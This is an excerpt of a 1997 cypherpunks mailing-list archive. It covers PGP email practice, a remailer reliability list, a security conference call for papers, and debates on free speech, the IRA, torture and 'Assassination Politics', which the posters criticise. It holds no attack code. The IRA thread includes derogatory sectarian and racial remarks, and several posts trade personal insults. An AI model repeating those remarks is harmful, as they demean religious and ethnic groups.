Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>, on 06/09/97 
   at 12:09 AM, Bill Stewart <stewarts@ix.netcom.com> said:

>I've been using PGP Inc.'s PGP5.0 Eudora Plug-In,
>and it decrypts the mail into the mail message buffer itself. When you
>finish with that particular message (e.g. go to the next, or just close
>it), you get asked it you want to save the modified message, and if you
>say "yes" you'll have the decrypted message in your mailbox. However,
>there's a negative about this - if you receive mail that's  signed and
>encrypted, and save the modified version, it loses the signature
>information - so it may be more valuable to save the encrypted
>version...

Well this is why I tell everyone to clear sign the message first and then
encrypt it. In my PGP GUI/E-Mail integration E-Secure this is the default
behavior. IMHO encrypting & signing (-sea) is a PITA (for the reciever).

I also verify signatures of all signed inbound messages and append the
output from PGP to the bottom of the message so that you can see the
results when the message is opened without having to re-run PGP.

The user also has the option to either decrypt messages as they are
retreived or to store them encrypted.

I just released the first beta of my auto-encrypt code. That was quite fun
to write. Myself am rather disturbed by how many PGP/E-Mail implmentations
handle signing/encrypting of messages. One of my biggest pet peeves is
when only the plain text of a message is signed/encrypted. I have seen
this with more than 1 implementation and I see it as a serrious security
flaw.

Another issue that is usally missed is Bcc's. The whole purpose of using
Bcc's is that you don't want the rest of your distribution to know that
you have sent a copy to the addresses on the Bcc line. If you encrypt a
message with multiple keys including keys for your Bcc's then your Bcc's
will be known to everyone who recieves a copy of the message.

What I have done to address this is to send seperate copies of the message
to each address on the Bcc list each encrypted with only the one key for
the address.

You can have the strongest algorithms in the world but they do you no good
if they are poorly implemented.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5u7uo9Co1n+aLhhAQH/sgP/V/ulJSLuNEV+sBW1hAnRsbYizxUb3tbc
eJtG6YZnhszgjmj0ybgA/yfIC3i9uXjvuZeRdyrD9YSTf0a0gWOkcAzhhB/A5XBj
Kf80HEXiJhd9dLSxYUGD55QFQNtz1QGbEGCURLyCchuWa0KrpLUofvUZ0cfatk+3
VKbfYn0KMTA=
=vvGI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 9 Jun 1997 22:30:13 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706091350.GAA06451@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 9 Jun 97 6:45:22 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              #-##*---####    38:53  99.99%
weasel   config@weasel.owl.de             ++++--++--+   2:09:06  99.95%
squirrel mix@squirrel.owl.de              +-++--++-++   2:05:06  99.95%
jam      remailer@cypherpunks.ca          ****** *****    10:29  99.83%
balls    remailer@huge.cajones.com        ###.-## ####    38:28  99.71%
replay   remailer@replay.com              *****  ** **     5:44  99.35%
mix      mixmaster@remail.obscura.com     *.-.-----.    7:30:50  97.83%
reno     middleman@cyberpass.net          -+--------+-  1:19:13  97.76%
winsock  winsock@rigel.cyberpass.net      -+--------    3:48:43  95.95%
lucifer  lucifer@dhp.com                  +++   +++  +    51:30  91.29%
cyber    alias@alias.cyberpass.net        *****  ** *     15:59  88.67%
nym      config@nym.alias.net                              3:02   0.05%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 20:05:47 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <19970609002216.62726@bywater.songbird.com>
Message-ID: <mV318D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> >   Dimitri wrote a couple of posts which dealt well with the original
> > concept of two parties agreeing on an arbitrator/judge to settle
> > contractual disputes (e.g. the court of Prince X) and the following
> > usurpment of these free-will agreements by people in power who decree
> > that _they_ are now the only valid arbitrator/judge in contractual
> > matters.
>
> It's pointless to reply to Dimitri -- he filters my posts.  Of course
> I would be delighted to engage in a civilized discourse with him, but
> it's impossible.

Kent is lying again, as usual.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 9 Jun 1997 21:38:42 +0800
To: se7en@dis.org (se7en)
Subject: Re: My War
In-Reply-To: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
Message-ID: <199706091259.HAA10924@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



please post more information about the technical side of your war.

thanks

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 21:29:35 +0800
To: cypherpunks@toad.com
Subject: Re: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199701081748.RAA00773@server.test.net>
Message-ID: <6V618D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



[thanks for the very informative message - much snipped]

Adam Back <aba@dcs.ex.ac.uk> writes:
> However, here are a few things you might be interested to know.  I
> understand the majority of people in Northern Ireland do not want to
> be part of Southern Ireland.

I don't think this has been put to a vote, but this is probably true.

>                               The people in NI have been there for
> multiple generations, and probably also don't want to be relocated to
> England.

Fine - let them stay, or emigrate to whatever other country will take them.
Maybe South Africa wants to increase its white population (kidding).
Or maybe the U.S. ought to increase it white population.

Why is the rest of the UK obliged to cater to their desires?

What if the majority of the NI population felt that a special L1000 poll tax
should be imposed on the English, with the proceeds disbursed equally among
the NI population?

What if Uganda took a vote and the overwhelming majority decided to
invite the UK back to rule them and to pour capital in?

>           Many of these people are English descent and their ancestors
> where given land by the British government which was stolen from
> native Irish about 300 years ago.  They have also intermarried.

Scottish descent, stricly speaking. Also at the rates the catholics
are breeding, they'll be a minority soon.

There are some protestants in SI, and no one's killing them on sight, AFAIK.
Wasn't Eamon de Valera a sephardic jew or something?

> You should also realise that IRA and supporters are minority in NI
> today, for a sense of perspective.

If you're such a strong believer in the rule of the majority :-), why
should the NI protestants (who are a fraction of the total UK population)
force the entire UK to do something that the rest of the UK doesn't want?

> In the mean time the IRA and the opposing paramilitary organisation
> blow up, assasinate, knee-cap each other, protestants, catholics, joy
> riders, and a few innocent bystanders, and I think both deal in drugs,
> and are involved in organised crime to fund their activities.

Yep.  So does the CIA.  Maybe that's why the IRA isn't calling for
a vote in NI to join SI. :-)

> (I forget name, but there is a non-governmental paramilitary group on
> other side to IRA in NI, occasionally there is rumor that British Army
> is feeding this paramilitary organisation names of IRA suspects to
> hit, to save them the trouble).

Is that the guys that Hallam Baker said he had asked to kill me? :-)

> they're saying after a while :-).  Not sure of Welsh and Irish names
> for English.  US name is `Limey'.

The English navy used by be plagued by the scurvy (vitamin C deficiency)
during the 18th and early 19th century. Then some bright guy came up with
the idea of storing lots of limes on the ships and forcing the seamen to
suck on them. It did cure the scurvy, but earned them the nickname.

ObTrivia: the official Russian name for lime is "LAJM".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 10 Jun 1997 00:49:36 +0800
To: declan@well.com
Subject: Re: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <Pine.GSO.3.96.970609092439.17747A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Declan McCullagh wrote:

> 
> Actually, Bell's plan was simply the ultimate adolescent revenge fantasy. 
> Government thugs got your goat (or your computers, your car, your guns?)
> Wipe them out. Supermarket clerk taking too long? Rub her out. Minivan cut
> you off on the way to work? Kill them off. 

This is the best description of AP so far.  Jim had about as much chance
of implementing it as most adolescent fantasies.  (At least he was not
posting about porn fantasies involving the Brady Bunch meets Gilligan's
Island or somesuch...)

The general consensus of those who met him at the first Portland physical
meeting was that he was pretty far into fantasy.  (There is a certain
childish glee that tends to accompany such thoughts.  He had that glee
when talking about AP and the carbon fiber threat. (Although he did not
give actual methods on the carbon thread one.  Just vague comments about
"something wonderful".))

> When I pointed out to Bell that his plan if implemented would allow you to
> knock off not just government thugs but annoying neighbors, his response
> was that assassins might opt only to eradicate the Feds -- hardly a
> reassuring thought.

You were not the only one to point that out to him.  He was so attached to
his little plan that he was totally unwilling to see any flaw in it.  I
pointed out that people with the amount of cash and scruples of Bill
Gatesw would use it to wipe out compeating companies staff and/or
management.  (Though, if they were smart, they would just take out the
lead engineer on the most threatening projects.)

The big problem I had with AP, other than implementation and concept, was
that he was unwilling to do his own dirty work.  He reminded me of people
who eat meat, but could not concieve of killing Bambi.  You don't go into
a scheme like that and still think that you won't get blood on your
hands.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 9 Jun 1997 23:02:11 +0800
To: cypherpunks@toad.com
Subject: CFP: 1998 Symposium on Network and Distributed System Security
Message-ID: <v03020920afc1b8f454de@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Fri, 6 Jun 1997 15:05:43 -0700
From: bishop@cs.ucdavis.edu (Matt Bishop)
To: ipsec@ans.net
Subject: CFP: 1998 Symposium on Network and Distributed System Security
Sender: owner-ipsec@ex.tis.com
Precedence: bulk

CALL FOR PAPERS

The Internet Society Symposium on Network and Distributed System Security

Where: San Diego, California
When: March 1998

GOAL: The symposium will foster information exchange between hardware and
software developers of network and distributed system security services.
The intended audience is those who are interested in the practical aspects
of network and distributed system security, focusing on actual system
design and implementation, rather than theory.  Encouraging and enabling
the Internet community to apply, deploy, and advance the state of available
security technology is the major focus of symposium.  Symposium proceedings
will be published by the Internet Society.  Topics for the symposium
include, but are not limited to, the following:

* Architectures for large-scale, heterogeneous distributed systems
* Security in malleable systems: mobile code, mobile agents, dynamic policy
  updates, etc.
* Special problems: e.g. interplay between security goals and other goals --
  efficiency, reliability, interoperability, resource sharing, and cost.
* Integrating security services with system and application security
  facilities and with application protocols, including message handling,
  file transport, remote file access,  directories, time synchronization,
  data base management, routing, voice and video multicast, network
  management, boot services, and mobile computing.
* Fundamental services:  authentication, integrity, confidentiality,
  authorization, non-repudiation, and availability.
* Supporting mechanisms and APIs: key management and certification
  infrastructures, audit, and intrusion detection.
* Telecommunications security, especially for emerging technologies -- very
  large systems like the Internet, high-speed systems like the gigabit
  testbeds, wireless systems, and personal communication systems.
* Controls: firewalls, packet filters, application gateways
* Object security and security objects
* Network information resources and tools such as World Wide Web (WWW),
  Gopher, Archie, and WAIS.
* Electronic commerce:  payment services, fee-for-access, EDI, notary;
  endorsement, licensing, bonding, and other forms of assurance; intellectual
  property protections

GENERAL CHAIR:
	David Balenson, Trusted Information Systems
PROGRAM CHAIRS:
	Matt Bishop, University of California at Davis
	Steve Kent, BBN
PROGRAM COMMITTEE:
	Steve Bellovin, AT&T Labs -- Research
	Doug Engert, Argonne National Laboratories
	Warwick Ford, VeriSign
	Li Gong, JavaSoft
	Rich Graveman, Bellcore
	Ari Juels, RSA Laboratories
	Tom Longstaff, CERT/CC
	Doug Maughan, National Security Agency
	Dan Nessett, 3Com Corporation
	Rich Parker, NATO
	Michael Roe, Cambridge University
	Rob Rosenthal, DARPA
	Wolfgang Schneider, GMD Darmstadt
	Christoph Schuba, Purdue University
	Win Treese, Open Market, Inc.
	Jonathan Trostle, Novell
	Gene Tsudik, USC/Information Sciences Institute
	Steve Welke, Institute for Defense Analyses
LOCAL ARRANGEMENTS CHAIR:
	Thomas Hutton, San Diego Supercomputer Center
PUBLICATIONS CHAIR:
	Steve Welke, Institute for Defense Analyses
LOGISTICS CHAIR:
	Torryn Brazell, Internet Society

SUBMISSIONS: The committee invites technical papers and panel
proposals, for topics of technical and general interest.  Technical
papers should be 10-20 pages in length.  Panel proposals should be two
pages and should describe the topic, identify the panel chair, explain
the format of the panel, and list three to four potential panelists.
Technical papers will appear in the proceedings.  A description of each
panel will appear in the proceedings, and may at the discretion of the
panel chair, include written position statements from each panelist.

Each submission must contain a separate title page with the type of
submission (paper or panel), the title or topic, the names of the
author(s), organizational affiliation(s), telephone and FAX numbers,
postal addresses, Internet electronic mail addresses, and must list a
single point of contact if more than one author.  The names of authors,
affiliations, and other identifying information should appear only on
the separate title page.

Submissions must be received by 1 August 1997, and should be made via
electronic mail in either PostScript or ASCII format.  If the committee
is unable to print a PostScript submission, it will be returned and
hardcopy requested.  Therefore, PostScript submissions should arrive
well before 1 August.  If electronic submission is difficult,
submissions should be sent via postal mail.

All submissions and program related correspondence (only) should be
directed to the program chair:  Matt Bishop, Department of Computer
Science, University of California at Davis, Davis CA  95616-8562,
Email: sndss98-submissions@cs.ucdavis.edu. Phone: +1 (916) 752-8060,
FAX: +1 (916) 752-4767,

Dates, final call for papers, advance program, and registration
information will be available at the URL:
http://www.isoc.org/conferences/ndss98.

Each submission will be acknowledged by e-mail.  If acknowledgment is
not received within seven days, please contact the program chair as in-
dicated above.  Authors and panelists will be notified of acceptance by
1 October 1997.  Instructions for preparing camera-ready copy for the
proceedings will be sent at that time.  The camera-ready copy must be
received by 1 November 1997.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 00:55:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102804afc0fc8e1db0@[207.167.93.63]>
Message-ID: <v03102805afc1e20c0880@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:57 PM -0700 6/8/97, William H. Geiger III wrote:

>So what you are saying that if I call up Widgits, Inc. and order product
>"X" that they advertizes does "Y". They instead send me product "X" that
>does "Z" not "Y" then I should have no recource? I should atleast be able
>to get my money back as they have not sold me the product that they
>claimed to be selling (clear violation of the "contract" between buyer and
>seller).

Contracts in a free society are a complicated issue. I suggest reading some
of the usual literature on the subject, including Benson's "The Enterprise
of Law," Friedman's "The Machinery of Freedom, "Reason" magazine, etc.

In your hypo above, even you are talking about after the fact redress, or
contract arbitration. This is quite different from the increasing
regulation of commercial speech in blanket forms (such as no liquor
advertising within X yards of schools, no cigarette advertising without
extensive mandated warnings, limitations on claims for medical products,
etc.)

In the hypo of ordering a product, an implicit contract is made. Phone
orders are for the convenience of consumers like ourselves; corporations
usually place "purchase orders," and these P.O.s almost always contain
performance requirements.

End consumers who are not happy buying from "PCs-R-Us" because they ordered
a 200 MHz Pentium and instead received a 66 MHz 486 machine have plenty of
recourses. They can almost certainly get their money back from the vendor
(without their being laws on speech), they can call their credit card
company and cancel the sale, they can take the matter to court or
arbitration (not on free speech grounds, of course), and so on.

Ultimately,  "PCs-R-Us" would last for a short time in a competitive
environment, and savvy buyers would avoid them. One of the best protections
against the kind of hypothetical fraud William Geiger hypothesizes is
_reputation_.

Claiming that Big Brother needs to have laws limiting the speech of
"commercial" speakers is not the right way to go.

(And it wasn't even common until this century, especially the last 20 years.)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lucas <davidlu@sco.COM>
Date: Mon, 9 Jun 1997 22:42:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199706081214.HAA02893@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970609095437.007d12e0@middx.x.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Adam,

To answer a few questions...

<snip>

>(I forget name, but there is a non-governmental paramilitary group on
>other side to IRA in NI, occasionally there is rumor that British Army

The Loyalists tend to be either UFF (Ulster Freedom Fighters) or UVF
(Ulster Volunteer Force) plus there will be various other groups too.

>is feeding this paramilitary organisation names of IRA suspects to
>hit, to save them the trouble).

<snip>

>Some Scottish people want home rule (Scottish Independence Party?),

Scottish Nationalist Party (SNP)

>ps Paddy is generic name for an Irishman, a haggis is a stuffed part
>of sheeps anatomy, a peculiar highland delicacy, nick name for
>Scotsman, leek is a vegetable, some kind of Welsh emblem, and used as

Haggis is a stuffed sheeps stomach (I always thought that 'Jock' was the
English nickname for Scots?)

>name for Welshman.  Scots call English Sasenachs (I lived in Scotland
>for a couple of years, you get so you can understand what it is
>they're saying after a while :-)

Likewise. I've only been here 3 months and still can't understand the local
yokel accent.

--
A Scotsman living and working south of the border.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
               David Lucas - Test Engineer @ SCO Cambridge.
                          E-mail: davidlu@sco.com

 Opinions expressed within this message are my own and do not necessarily
            represent those of my employer * I am not a lawyer
--------------------------------------------------------------------------
        The light at the end of the tunnel is an oncoming train...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 9 Jun 1997 22:30:57 +0800
To: mpd@netcom.com
Subject: Re: Steak Knife Decryption
Message-ID: <199706091409.HAA15948@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



> Subject:       Re: Steak Knife Decryption
> To:            mpd@netcom.com (Mike Duvos)
> Date:          Sat, 7 Jun 1997 00:44:15 -0500 (CDT)
> Cc:            cypherpunks@cyberpass.net
> From:          ichudov@algebra.com (Igor Chudov @ home)
> Organization:  Bool Sheet Software
> Reply-to:      ichudov@algebra.com (Igor Chudov @ home)

> Mike Duvos wrote:
> > 

> I am not quite clear if rational people can get something out of
> torturing other rational people. Maybe, I am confused and wrong
> somewhere.
> 	- Igor.

Torture is a means of producing an irrational state in people's
minds (at least temporarily), thus causing them to do things they
would not rationally do (sign a prepared confession, reveal a secret, 
etc) If torture could not do this, it would not be used; verbal
persuasion over tea and crumpets is *so* much more pleasant.

Even people who might be able to face a more or less painless 
death with equanimity (in the pursuit of some greater cause) 
may break down as the bamboo splints are pushed under their 
fingernails.

'Rational torture victim' is an oxymoron.

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 10 Jun 1997 02:32:21 +0800
To: cypherpunks@cyberpass.net
Subject: Question about anonymizing proxies
Message-ID: <199706091758.KAA31403@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Sorry if this has been beaten to death before (if it has, a pointer to
where it is in the archives would be appreciated), but is it possible to
chain anonymizing proxy servers in a way similar to remailers?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 10 Jun 1997 00:16:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: My War
In-Reply-To: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
Message-ID: <199706091609.LAA03231@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Se7en writes:

[The Story of his Mental Breakdown]

I do believe we've found a date for Debbie Mahoney. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 9 Jun 1997 23:43:00 +0800
To: jamesd@echeque.com
Subject: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: <199706081801.LAA28966@proxy4.ba.best.com>
Message-ID: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Actually, Bell's plan was simply the ultimate adolescent revenge fantasy. 
Government thugs got your goat (or your computers, your car, your guns?)
Wipe them out. Supermarket clerk taking too long? Rub her out. Minivan cut
you off on the way to work? Kill them off. 

When I pointed out to Bell that his plan if implemented would allow you to
knock off not just government thugs but annoying neighbors, his response
was that assassins might opt only to eradicate the Feds -- hardly a
reassuring thought.

-Declan


On Sat, 7 Jun 1997 jamesd@echeque.com wrote:

> At 12:42 PM 6/4/97 -0400, Hallam-Baker wrote:
> > Bell's Murder Politics scheme was a censorship scheme.
> 
> Surely people would be more inclined to kill politicians 
> for what they do, rather than what they say.
>  ---------------------------------------------------------------------
>               				|  
> We have the right to defend ourselves	|   http://www.jim.com/jamesd/
> and our property, because of the kind	|  
> of animals that we are. True law	|   James A. Donald
> derives from this right, not from the	|  
> arbitrary power of the state.		|   jamesd@echeque.com
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 9 Jun 1997 23:36:47 +0800
To: cypherpunks@Algebra.COM
Subject: MS Access 97 deprotection?
Message-ID: <199706091524.LAA01532@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



     An acquaintence of mine who runs a small consulting 
business here in Massachusetts called last night.

     He seems to be suffering from one of the classic 
aftereffects of a having 'disgruntled, 
about-to-be-ex-employee'; one of the database files on 
which his business relies has been encrypted within 
Microsoft Access 97, and he needs to recover the data.

A quick look around at the obvious sites shows no generic
de-protector, as there are for MS Word and many other systems.
Anyone have any clue how he might get his data back? (I've
already told him to consider the lawyer-based route).

Send me mail - I'll pass it on to him.

thanks,

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 03:12:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <v03102807afc2016e6825@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:11 PM -0700 6/8/97, Kent Crispin wrote:

>
>But the fundamental principle that says "redress is available for speech
>that causes harm" seems fairly clean.  That cuts across advertising,
>salespersons lies, libel/slander, yelling "fire" in a theater -- a
>whole gamut of free speech issues.  Spam falls under such a rule, as
>well.  Of course, the issue of prior restraint is orthogonal to this
>rule...

This "fundamental principle" is not nearly as clean or as fundamental as
you represent.

Much speech indisputably "causes harm." Some harm is economic, some harm is
pyschogical, some harm is even physical.

Much of this speech remains protected, even in these times where the
Constitution has suffered decay. For example, one of the tests for libel
and slander, to name an example where "harm" is usually claimed, is
"knowingly false."

And in commercial areas, much "harm" is done by businesses to other
businesses, and yet this is (properly) protected. When a business
advertises its lower prices, or cites endorsements from luminaries, this is
"speech." If another business is "harmed" by this speech, is there
"redress"?

No. And there should not be. Harm is a name for various adverse
developments. Many if not most of them are closely linked to speech issues.
Legislating harm away is not consistent with a free and open society.

The example of "falsely shouting "Fire!" in a crowded theater" (I inserted
the word "falsely" as this is often left out by folks, and is of course
central to the point) is well-trod ground. The SC Justice who used this
later said he wished he'd never used the expression, as it was used by all
manner of people seeking to limit speech.

Spam is a name for "unwanted communications." The proper solution is
technological/ontological, e.g., metering. It is a defect of our current
e-mail model that one can deliver a million pieces of e-mail for no cost.
This will be fixed, and is a solution vastly preferable to having a
government agency decide which communications are permissable and which are
not.

(Many of these issues are mooted by crypto anarchy, of course.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
